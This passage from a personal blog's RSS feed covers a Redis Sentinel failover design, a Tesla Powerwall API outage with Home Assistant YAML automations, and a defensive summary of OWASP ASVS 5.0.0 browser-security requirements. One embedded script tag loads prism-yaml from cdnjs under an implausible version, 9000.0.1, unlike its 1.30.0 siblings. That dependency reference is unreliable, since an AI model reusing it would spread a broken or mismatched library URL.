alongside the Redis Server service on the cache servers themselves. I decided against this for a couple of reasons. First, I didn&apos;t want to lose a Sentinel when we took a cache down for updates/upgrades because this will impact the total number of Sentinels available to clients, and it has implications for voting too. Second, I wanted to take that load away from the caches so they could focus on being caches, meaning each of our servers is focusing on doing one thing well.</li><li>Your quorum for voting must be &gt;50% of the number of Sentinels you have, it must be a majority vote to promote a new Primary. With our four Sentinels, if we had a quorum of two, we have less protection against something called a Split-Brain happening. As an example, let&apos;s say we have two caches, Redis Cache 1 and Redis Cache 2. Two of our four Sentinels have a transient network issue and see the Primary (Redis Cache 1) as being down, so they vote between themselves to promote a Replica (Redis Cache 2), and then begin that process. Because they can&apos;t communicate with the previous Primary (Redis Cache 1), they can&apos;t demote it to a Replica. Meanwhile, the other two Sentinels see no issue and continue as normal with their existing Primary (Redis Cache 1). You now have Sentinels providing ip/port information for two different Primaries that are both accepting writes from clients and their data is now diverging, a Split-Brain! Having a quorum require a majority of your Sentinels to vote doesn&apos;t fully solve this issue, but it does give you a lot more protection against it.</li><li>If you have a very read-heavy workload, your Replicas can share the load as they do support read-only connections. In our two scenarios we can&apos;t really leverage this benefit, which is a real shame, but being able to distribute reads across your replicas may be a huge benefit to you.</li></ul><p></p><h4 id="nobody-would-know">Nobody would know!</h4><p>Whilst this was quite a huge change on our side, from the outside, nobody would know anything about this if I hadn&apos;t published this blog post! Going forwards, this will allow me to sleep a lot better knowing we have a more resilient service, and that our future updates and upgrades will now take much less time and effort than before. If you have any feedback or suggestions on our deployment, feel free to drop by the comments below. </p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Automation improvements after a Tesla Powerwall outage!]]></title>
                <description><![CDATA[<p>So, a weird thing happened over the last couple of days, and my Tesla Powerwalls weren&apos;t working properly, or, at all, actually... What&apos;s even more strange is that Tesla has been completely silent about this and hasn&apos;t made a single announcement about the issue</p>]]></description>
                <link>https://scotthelme.ghost.io/automation-improvements-after-a-tesla-powerwall-outage/</link>
                <guid isPermaLink="false">68974a0c29f3b6000112773f</guid>
                <category><![CDATA[Tesla Powerwall]]></category>
                <category><![CDATA[Home Assistant]]></category>
                <category><![CDATA[Teslemetry]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 11 Aug 2025 09:49:48 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/08/header-tesla-powerwall-debugging.webp" alt="Automation improvements after a Tesla Powerwall outage!"><p>So, a weird thing happened over the last couple of days, and my Tesla Powerwalls weren&apos;t working properly, or, at all, actually... What&apos;s even more strange is that Tesla has been completely silent about this and hasn&apos;t made a single announcement about the issue that I can find, and I haven&apos;t been notified.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-1.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="600" height="211" srcset="https://scotthelme.ghost.io/content/images/2025/08/image-1.png 600w"></figure><p></p><h4 id="my-home-setup">My Home Setup</h4><p>You can read various posts on my blog about how I automate almost all of my home with Home Assistant, and more recently there were two Tesla Powerwall posts [<a href="https://scotthelme.co.uk/hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">1</a>][<a href="https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">2</a>] about bringing the final pieces of the puzzle together. I have everything working almost exactly how I want it to, with the one outstanding question on how I can control the charge rate of the Powerwalls, which I will be answering later!</p><p>First, though, this recent Tesla outage that I&apos;ve seen absolutely nothing from Tesla about... Regular readers will know I automate my Powerwalls via <a href="https://www.home-assistant.io/?ref=scotthelme.ghost.io" rel="noreferrer">Home Assistant</a> using the <a href="https://teslemetry.com/?ref=scotthelme.ghost.io" rel="noreferrer">Teslemetry</a> service. </p><p></p><figure class="kg-card kg-image-card"><a href="https://teslemetry.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-2.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="731" height="76" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-2.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-2.png 731w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>I can control when the Powerwalls are charging or not based on the current cost for electricity import, and I can also control when they&apos;re exporting to the grid if I have excess capacity for the day. Things were going really quite well, until I woke up one morning and the batteries were basically empty. I woke up on the morning of the 7th August and we hadn&apos;t charged the batteries in the cheap off-peak tariff that we get overnight, which is really the main point of the batteries. Fill up on the cheap stuff overnight, avoid the expensive stuff during the day.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-3.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="485" height="345"></figure><p></p><p>I tried to enable grid charging to see if I could just get some power back in to the batteries so they weren&apos;t sat on such a low SoC, but it wouldn&apos;t enable. I wondered if Teslemetry were having an issue, but nothing was reported on their side. I disabled the integration and went directly to the official Tesla app and tried to enable grid charging there, but again, it wouldn&apos;t enable. After some searching, it seems it wasn&apos;t just me having the issue and anyone with a Powerwall setup seemed to be having the exact same problem. Shortly after, an incident went up on the Teslemetry <a href="https://status.teslemetry.com/incident/701944?ref=scotthelme.ghost.io" rel="noreferrer">status page</a> saying that the issue was with the Tesla API.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-4.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="834" height="517" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-4.png 600w, https://scotthelme.ghost.io/content/images/2025/08/image-4.png 834w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It wasn&apos;t just Teslemetry, either. Other services that also allow for control of Tesla Powerwalls were having issues and reporting similar problems on their status pages too, like <a href="https://docs.netzero.energy/docs/tesla/2025-08/GridChargingIssue.html?ref=scotthelme.ghost.io" rel="noreferrer">NetZero</a>.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/08/image-5.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="1003" height="398" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/08/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/08/image-5.png 1000w, https://scotthelme.ghost.io/content/images/2025/08/image-5.png 1003w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As you can see from the graph above, I did manage to capture some excess solar production during the day and charge the batteries a little, but it was almost 24 hours later when the issue finally resolved and the button to enable grid charging started magically working again! I enabled the Teslemetry integration and we were back in business. </p><p></p><h4 id="so-whats-up-with-that">So what&apos;s up with that?..</h4><p>I genuinely do find it staggering that a trillion dollar company can&apos;t notify customers who are actively using their product of an issue such as this! It&apos;s pretty crazy when you think about it that there was an issue that effectively rendered Powerwalls useless, and there have been no notifications, updates, or a post-mortem, nothing... This is really poor from Tesla and I think this issue deserves more attention.</p><p>Part of me is also wondering if there might be a problem with enabling a huge amount of Powerwalls to be able to grid charge again all at once. Could it have an impact on the grid? Was that part of the problem and they staggered the rollout of the fix? What was the problem? I just want to know! </p><p><strong><em>Update 11th Aug 15:17 BST:</em></strong> Tesla responded to my support ticket with the following:</p><blockquote>We are reaching out regarding your inquiry that grid charging turns it self off automatically. Our App Team is aware of this issue and is currently working on resolving it.<br>Please rest assured, we will resolve it within the next Tesla App updates.</blockquote><p></p><p></p><h4 id="controlling-how-fast-your-powerwalls-charge">Controlling how fast your Powerwalls charge</h4><p>One of the last things I had to address in my previous blog post was controlling how fast my Powerwalls were charging. Once you set them to charge, they charge up at full power, which isn&apos;t really necessary. Charging them at such a high rate isn&apos;t necessary as I have a long time to charge them, and charging at a higher rate is worse for the battery, and it leaves it sat at 100% for a longer period overnight, which is also worse for the battery! Overall that&apos;s a bad pair of options, but what if you could change the rate at which the batteries draw power when charging? Well, you can!</p><p>This is super easy to do thanks to my use of Home Assistant and Teslemetry, and it&apos;s worth pointing out that one of the options below won&apos;t be available to you if you&apos;re not using a service like Teslemetry as it&apos;s not available in the Tesla app! It turns out that when the batteries are in a different mode, they charge at a different rate. Here is the operation mode you need to set in Teslemetry, and in brackets is the name of that mode in the Tesla app.</p><p></p><table>
    <thead>
    <tr>
    <th>Operation Mode</th>
    <th>Total Draw</th>
    <th>Per Battery</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Autonomous (Time-Based Control)</td>
    <td>15kW</td>
    <td>5kW</td>
    </tr>
    <tr>
    <td>Self-consumption (Self-Powered)</td>
    <td>5.7kW</td>
    <td>1.9kW</td>
    </tr>
    <tr>
    <td>Backup (not available)</td>
    <td>11.1kW</td>
    <td>3.7kW</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>I have 3 x Powerwalls so the above numbers show my total grid power draw when charging, and what the breakdown is per Powerwall. I&apos;ve always been using &quot;Autonomous&quot; mode, which is known as &quot;Time-Based Control&quot; in the Tesla app, and that results in the batteries charging at their maximum rate of 5kW each!</p><p>It turns out that if you put the Powerwalls in &quot;Self-consumption&quot; mode, which is known as &quot;Self-Powered&quot; in the Tesla app, they only charge at 1.9kW each. That might be helpful to you, but for me, it&apos;s not enough. The Powerwalls have an official usable capacity of 13.5kWh, and mine are reporting a usable capacity of either 13.7kWh or 13.8kWh via the API. My cheap rate tariff applies from 23:30 to 05:30 giving me 6 hours and unfortunately, 6 hours x 1.9kW = 11.4kWh, which is not enough to fully recharge them.</p><p>The good news is that because I&apos;m using the Teslemetry integration, it gives me access to the &quot;Backup&quot; mode, which isn&apos;t available in the Tesla app, and it sees the batteries charge at ~3.7kW, which works out quite well because 13.8kWh / 3.7kW = 3.7 hours (3hrs 45min). That means the batteries can charge at a lower rate and take a longer time to hit 100% SoC, but still be comfortably ready by 05:30 even if I need to go from 0% to 100%. Another bonus is that Backup mode will automatically set the Backup Reserve to 100% too! For comparison, here is the charging curve before and after the change, showing that slightly gentler curve now I&apos;m using Backup mode.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/08/Screenshot-2025-08-09-152600.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="477" height="343"><figcaption><span style="white-space: pre-wrap;">Batteries charging at 15kW</span></figcaption></figure><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://scotthelme.ghost.io/content/images/2025/08/Screenshot-2025-08-09-152614.png" class="kg-image" alt="Automation improvements after a Tesla Powerwall outage!" loading="lazy" width="475" height="342"><figcaption><span style="white-space: pre-wrap;">Batteries charging at 11.1kW</span></figcaption></figure><p></p><h4 id="my-current-automations">My current automations</h4><p>Given the above issue with the Tesla API, I wanted to avoid turning Grid Charging on and off because I might find myself in a position where I can&apos;t turn it back on again at some point in the future... Going forwards, I&apos;m going to control charging by toggling the operation mode between Autonomous and Backup, whilst setting the Backup Reserve to the appropriate level too. I will also provide a copy of my export automation for completeness too. Here is the battery charging automation:</p><p></p><pre><code class="language-yaml">alias: Powerwall - Dynamic Battery Charging Control
    description: |
      Sets Shireburn operation mode and backup reserve based on price and SoC.
      - Cheap &amp; below target SoC =&gt; backup @ 100%
      - Expensive or above target SoC =&gt; autonomous @ target SoC
    triggers:
      - trigger: time_pattern
        minutes: /5
    conditions: []
    actions:
      - choose:
          - conditions:
              - condition: numeric_state
                entity_id: &gt;-
                  sensor.octopus_energy_electricity_snip_current_rate
                below: input_number.electricity_cost_threshold
              - condition: numeric_state
                entity_id: sensor.shireburn_charge
                below: input_number.powerwall_soc_threshold
            sequence:
              - condition: or
                conditions:
                  - condition: template
                    value_template: &quot;{{ states(&apos;select.shireburn_operation_mode&apos;) != &apos;backup&apos; }}&quot;
                  - condition: template
                    value_template: &quot;{{ states(&apos;number.shireburn_backup_reserve&apos;) | int != 100 }}&quot;
              - action: select.select_option
                target:
                  entity_id: select.shireburn_operation_mode
                data:
                  option: backup
              - action: number.set_value
                target:
                  entity_id: number.shireburn_backup_reserve
                data:
                  value: 100
          - conditions:
              - condition: numeric_state
                entity_id: &gt;-
                  sensor.octopus_energy_electricity_snip_current_rate
                above: input_number.electricity_cost_threshold
            sequence:
              - condition: or
                conditions:
                  - condition: template
                    value_template: &gt;-
                      {{ states(&apos;select.shireburn_operation_mode&apos;) != &apos;autonomous&apos;
                      }}
                  - condition: template
                    value_template: &quot;{{ states(&apos;number.shireburn_backup_reserve&apos;) | int != 0 }}&quot;
              - action: select.select_option
                target:
                  entity_id: select.shireburn_operation_mode
                data:
                  option: autonomous
              - action: number.set_value
                target:
                  entity_id: number.shireburn_backup_reserve
                data:
                  value: 0
    mode: single
    </code></pre><p></p><p>Here is the export automation:</p><p></p><pre><code class="language-yaml">alias: Dynamic Battery Export Control
    description: &gt;-
      Adjust export setting and export mode display based on battery SoC and
      time-of-day
    triggers:
      - minutes: /5
        trigger: time_pattern
    actions:
      - variables:
          now_ts: &quot;{{ now().timestamp() }}&quot;
          today: &quot;{{ now().date().isoformat() }}&quot;
          start_ts: &quot;{{ (today ~ &apos;T05:30:00&apos;) | as_datetime | as_timestamp }}&quot;
          end_ts: &quot;{{ (today ~ &apos;T23:30:00&apos;) | as_datetime | as_timestamp }}&quot;
          end_for_target_ts: &quot;{{ (today ~ &apos;T23:15:00&apos;) | as_datetime | as_timestamp }}&quot;
          current_soc: &quot;{{ states(&apos;sensor.shireburn_charge&apos;) | float(0) }}&quot;
      - choose:
          - conditions:
              - condition: template
                value_template: &quot;{{ now_ts &lt; start_ts or now_ts &gt; end_ts }}&quot;
            sequence:
              - target:
                  entity_id: input_number.target_soc
                data:
                  value: 100
                action: input_number.set_value
              - target:
                  entity_id: input_text.export_mode_state
                data:
                  value: No Export
                action: input_text.set_value
              - condition: template
                value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;never&apos; }}&quot;
              - target:
                  entity_id: select.shireburn_allow_export
                data:
                  option: never
                action: select.select_option
        default:
          - variables:
              total_secs: &quot;{{ end_for_target_ts - start_ts }}&quot;
              elapsed_secs: &quot;{{ now_ts - start_ts }}&quot;
              progress: &gt;-
                {{ (elapsed_secs / total_secs) if elapsed_secs &lt; total_secs else 1.0
                }}
              target_soc: &quot;{{ 100 - (95 * (progress ** 1.5)) }}&quot;
          - target:
              entity_id: input_number.target_soc
            data:
              value: &quot;{{ target_soc | round(0) }}&quot;
            action: input_number.set_value
          - choose:
              - conditions:
                  - condition: template
                    value_template: |
                      {% set hour = now().hour %} {% if hour &lt; 23 %}
                        {{ current_soc &gt; (target_soc + 5) }}
                      {% else %}
                        {{ current_soc &gt; target_soc }}
                      {% endif %}
                sequence:
                  - target:
                      entity_id: input_text.export_mode_state
                    data:
                      value: Battery + Solar Export
                    action: input_text.set_value
                  - condition: template
                    value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;battery_ok&apos; }}&quot;
                  - target:
                      entity_id: select.shireburn_allow_export
                    data:
                      option: battery_ok
                    action: select.select_option
              - conditions:
                  - condition: template
                    value_template: &quot;{{ current_soc &lt; (target_soc - 5) }}&quot;
                sequence:
                  - target:
                      entity_id: input_text.export_mode_state
                    data:
                      value: No Export
                    action: input_text.set_value
                  - condition: template
                    value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;never&apos; }}&quot;
                  - target:
                      entity_id: select.shireburn_allow_export
                    data:
                      option: never
                    action: select.select_option
            default:
              - target:
                  entity_id: input_text.export_mode_state
                data:
                  value: Solar Export
                action: input_text.set_value
              - condition: template
                value_template: &quot;{{ states(&apos;select.shireburn_allow_export&apos;) != &apos;pv_only&apos; }}&quot;
              - target:
                  entity_id: select.shireburn_allow_export
                data:
                  option: pv_only
                action: select.select_option
    mode: single
    </code></pre><p></p><p>Hopefully they will be useful and perhaps we might know more about the Tesla API outage soon!..</p><p></p><p></p>
    <!--kg-card-begin: html-->
    <style>
      pre[class*="language-"],
      code[class*="language-"] {
        font-size: 0.85em !important;
    }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-tomorrow.min.css" integrity="sha512-vswe+cgvic/XBoF1OcM/TeJ2FW0OofqAVdCZiEYkd6dwGXthvkSFWOoGGJgS2CW70VK5dQM5Oh+7ne47s74VTg==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/9000.0.1/components/prism-yaml.min.js" integrity="sha512-epBuSQcDNi/0lmCXr7cGjqWcfnzXe4m/GdIFFNDcQ7v/JF4H8I+l4wmVQiYO6NkLGSDo3LR7HaUfUL/5sjWtXg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[OWASP ASVS 5.0.0 is here!]]></title>
                <description><![CDATA[<p>I&apos;ve been a huge fan of OWASP for a very long time, having spoken at their conferences, contributed to their projects, consumed many of their resources and met some really awesome people along the way! Just recently, one of the very popular OWASP projects, the <a href="https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io" rel="noreferrer">Application Security Verification</a></p>]]></description>
                <link>https://scotthelme.ghost.io/owasp-asvs-5-0-0-is-here/</link>
                <guid isPermaLink="false">684ffc0ea1c29300018cdf43</guid>
                <category><![CDATA[OWASP]]></category>
                <category><![CDATA[ASVS]]></category>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 04 Aug 2025 10:07:02 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg" medium="image"/>
                <content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/07/OWASP_ASVS_Linkedin_Banner-01.jpg" alt="OWASP ASVS 5.0.0 is here!"><p>I&apos;ve been a huge fan of OWASP for a very long time, having spoken at their conferences, contributed to their projects, consumed many of their resources and met some really awesome people along the way! Just recently, one of the very popular OWASP projects, the <a href="https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io" rel="noreferrer">Application Security Verification Standard</a> (ASVS), had a major update released and it brought with it some exciting changes. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/06/image-5.png" class="kg-image" alt="OWASP ASVS 5.0.0 is here!" loading="lazy" width="2000" height="500" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/06/image-5.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/06/image-5.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/06/image-5.png 1600w, https://scotthelme.ghost.io/content/images/size/w2400/2025/06/image-5.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="owasp-asvs">OWASP ASVS</h4><p>I&apos;d bet that most people are familiar with the <a href="https://owasp.org/www-project-top-ten/?ref=scotthelme.ghost.io" rel="noreferrer">OWASP Top 10</a> project, one of the most notable flagship projects to come out of OWASP! </p><blockquote>The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.</blockquote><p></p><p>For me, coming in at a close second place is the <a href="https://owasp.org/www-project-application-security-verification-standard/?ref=scotthelme.ghost.io" rel="noreferrer">OWASP ASVS</a> project, another project aimed at helping the community with a structured approach to taking care of application security.</p><blockquote>The OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls and also provides developers with a list of requirements for secure development.</blockquote><p></p><p>One of the things I love about the ASVS is the straightforward, &quot;no nonsense&quot; approach. They aren&apos;t requirements imagined in a vacuum, beyond the realistic hope or requirement of anyone trying to implement, instead they seek to be effective and balanced. This quote from the early paragraphs of the document in the &apos;Level evaluation&apos; section, where you consider which level of compliance is appropriate for you, says a lot:</p><blockquote>Levels are defined by priority&#x2011;based evaluation of each requirement based on experience implement&#x2011; ing and testing security requirements. The main focus is on comparing risk reduction with the effort to implement the requirement. Another key factor is to keep a low barrier to entry.</blockquote><p></p><p>I&apos;ve provided a copy of the standard below and if you&apos;re not familiar with ASVS, I&apos;d really recommend checking it out, even if only for you to use it as a reference rather than a hard requirement. </p><div class="kg-card kg-file-card"><a class="kg-file-card-container" href="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/files/2025/06/OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf?ref=scotthelme.ghost.io" title="Download" download><div class="kg-file-card-contents"><div class="kg-file-card-title">OWASP_Application_Security_Verification_Standard_5.0.0_en</div><div class="kg-file-card-caption"></div><div class="kg-file-card-metadata"><div class="kg-file-card-filename">OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf</div><div class="kg-file-card-filesize">504 KB</div></div></div><div class="kg-file-card-icon"><svg viewbox="0 0 24 24"><defs><style>.a{fill:none;stroke:currentColor;stroke-linecap:round;stroke-linejoin:round;stroke-width:1.5px;}</style></defs><title>download-circle</title><polyline class="a" points="8.25 14.25 12 18 15.75 14.25"/><line class="a" x1="12" y1="6.75" x2="12" y2="18"/><circle class="a" cx="12" cy="12" r="11.25"/></svg></div></a></div><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/06/Report-URI-Twitter-Card.png" class="kg-image" alt="OWASP ASVS 5.0.0 is here!" loading="lazy" width="800" height="400" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/06/Report-URI-Twitter-Card.png 600w, https://scotthelme.ghost.io/content/images/2025/06/Report-URI-Twitter-Card.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="the-parts-where-we-can-help">The parts where we can help</h4><p>As a platform focused on providing organisations with the tools they need to be secure, there is of course a huge overlap between the requirements in the OWASP ASVS 5.0.0 standard, and <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>&apos;s wide range of products and features. Some of these requirements are more generalised and are something we can help with on a more holistic approach, and some of them are slam-dunk cases where Report URI can 100% help you meet that requirement. We&apos;ll go through these requirements at a high level and look at how Report URI can help, and we&apos;ll also provide additional guidance and context to help you understand the requirements better. Let&apos;s start with the big hitters first, and go from there, and also remember to check the compliance level which we will provide for each requirement to see if it&apos;s something you will need to consider. Here&apos;s a quick summary of the compliance levels if you aren&apos;t familiar with them.</p><p>&#x2705; <strong>Level 1 &#x2014; Informational / Low Assurance</strong><br>Low-risk apps (e.g. simple brochure sites or MVPs).</p><p><strong>&#x2705;&#x2705; Level 2 &#x2014; Standard Assurance (Baseline Compliance)</strong><br>Apps handling personal data, business logic, or moderate sensitivity.</p><p><strong>&#x2705;&#x2705;&#x2705; Level 3 &#x2014; High Assurance</strong><br>Financial systems, healthcare apps, and other high-value or high-impact systems.</p><p></p><p>You can assess which level of the requirements is suitable for your application, and then you can use that to guide you through the following sections to determine which apply to you and your application.</p><p></p><h4 id="v31-web-frontend-security-documentation">V3.1 Web Frontend Security Documentation</h4><p>This is a pretty sensible requirement to protect against the impact of malicious content find its way in to your site, and as a Level 1 requirement, is applicable to all sites.</p><p></p><p><strong>3.2.1 (Level 1)</strong></p><blockquote>Verify that security controls are in place to prevent browsers from rendering content or functionality in HTTP responses in an incorrect context (e.g., when an API, a user&#x2011;uploaded file or other resource is requested directly). Possible controls could include: not serving the content unless HTTP request header fields (such as Sec&#x2011;Fetch&#x2011;*) indicate it is the correct context, using the sandbox directive of the Content&#x2011;Security&#x2011;Policy header field or using the attachment disposition type in the Content&#x2011;Disposition header field.
    </blockquote><p></p><p>Whenever you&apos;re using Content Security Policy, it&apos;s <em>always </em>advisable to monitor that policy and ensure there isn&apos;t anything happening that you weren&apos;t expecting. The sandbox directive is particularly powerful in the suggested context and allows you to isolate the downloaded content.</p><p></p><h4 id="v34-browser-security-mechanism-headers">V3.4 Browser Security Mechanism Headers
    </h4><p>Honestly at this point in the realm of security online, who doesn&apos;t love Security Headers?! There is so much powerful protection you can leverage by configuring these relatively simple mechanisms, it&apos;s no wonder that they got an entire section in the standard. You should read this entire section, absolutely, but here are the parts we can help with specifically.</p><p></p><p><strong>3.4.3 (Level 2 and Level 3)</strong></p><blockquote>Verify that HTTP responses include a Content&#x2011;Security&#x2011;Policy response header field which defines directives to ensure the browser only loads and executes trusted content or resources, in order to limit execution of malicious JavaScript. As a minimum, a global policy must be used which includes the directives object&#x2011;src &#x2018;none&#x2019; and base&#x2011;uri &#x2018;none&#x2019; and defines either an allowlist or uses nonces or hashes. For an L3 application, a per&#x2011;response policy with nonces or hashes must be defined.</blockquote><p></p><p><strong>3.4.6 (Level 2)</strong></p><blockquote>Verify that the web application uses the frame&#x2011;ancestors directive of the Content&#x2011;Security&#x2011;Policy header field for every HTTP response to ensure that it cannot be embedded by default and that embedding of specific resources is allowed only when necessary. Note that the X&#x2011;Frame&#x2011;Options header field, although supported by browsers, is obsolete and may not be relied upon.</blockquote><p></p><p><strong>3.4.7 (Level 3)</strong></p><blockquote>Verify that the Content&#x2011;Security&#x2011;Policy header field specifies a location to report violations.</blockquote><p></p><p>That last one is particularly noteworthy, and I&apos;d say that any application with a CSP in place should be monitoring for those violations because you want to know if things have been configured incorrectly, or worse, an attack is currently ongoing! All of that guidance is sensible though and these are all standard things that we&apos;d be recommending to our customers anyway.</p><p></p><p><strong>V3.6 External Resource Integrity</strong></p><p>Another common risk being addressed by this requirement is that of your JavaScript supply chain. Over the years we have seen so many attacks where a website is compromised not because they were breached, but because one of their dependencies was breached instead! Whilst this requirement focuses specifically on the venerable Subresource Integrity (SRI), at the time of writing we have a new feature in beta that will go far beyond the capabilities of SRI and provide even more value. Reach out if you&apos;re interested in joining the beta!</p><p></p><p><strong>3.6.1 (Level 3)</strong></p><blockquote>Verify that client&#x2011;side assets, such as JavaScript libraries, CSS, or web fonts, are only hosted externally (e.g., on a Content Delivery Network) if the resource is static and versioned and Subresource Integrity (SRI) is used to validate the integrity of the asset. If this is not possible, there should be a documented security decision to justify this for each resource.</blockquote><p></p><h4 id="getting-started">Getting Started</h4><p>If you want to start the process of improving the security of your web application, you can get started with a free trial on our website right now, or reach out to our team if you&apos;d like some support through this process. Maybe you&apos;re looking to avoid the risk of a costly data breach in the future, maybe you have some particular compliance requirement you&apos;re trying to meet, or perhaps you&apos;ve identified a specific concern you&apos;d like to address. Either way, we&apos;re here to help, and we have more than a decade of experience to draw from as we support you.</p><p>To achieve this, the ASVS standard is a great basis to work from, and I want to quote the following objectives from the standard itself:</p><p></p><blockquote>&#x2022;<strong> Use as a metric</strong>&#xA0;- Provide application developers and application owners with a yardstick with which to assess the degree of trust that can be placed in their Web applications,<br>&#x2022;<strong> Use as guidance</strong>&#xA0;- Provide guidance to security control developers as to what to build into security controls in order to satisfy application security requirements, and<br>&#x2022;<strong> Use during procurement</strong>&#xA0;- Provide a basis for specifying application security verification requirements in contracts.</blockquote><p></p><p>No matter which angle you&apos;re coming from, I&apos;m hoping to see increased adoption of the OWASP ASVS requirements over time and the benefits that will bring to security across the Web.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Trillion with a T: Surpassing 2 Trillion Events Processed!🚀🚀]]></title>
                <description><![CDATA[<p>We&#x2019;ve just passed a monumental milestone: <strong>2 trillion events processed</strong> through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>!!! That&#x2019;s <em>2,000,000,000,000</em> events for <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">CSP</a>, <a href="https://report-uri.com/products/network_error_logging?ref=scotthelme.ghost.io" rel="noreferrer">NEL</a>, <a href="https://report-uri.com/products/dmarc_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">DMARC</a>, and other browser-generated and email telemetry reports&#x2014;ingested, parsed, and processed for our customers!</p><p></p><figure class="kg-card kg-image-card"><a href="https://dash.report-uri.com/home/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/07/image.png" class="kg-image" alt loading="lazy" width="565" height="215"></a></figure><p></p><p>This is a phenomenal milestone to achieve</p>]]></description>
                <link>https://scotthelme.ghost.io/trillion-with-a-t-surpassing-2-trillion-events-processed/</link>
                <guid isPermaLink="false">6863a159db89a500016be6a1</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[report-uri.com]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Wed, 02 Jul 2025 18:12:32 GMT</pubDate>
                <media:content url="https://scotthelme.ghost.io/content/images/2025/07/Screenshot-2025-07-01-113513.png" medium="image"/>
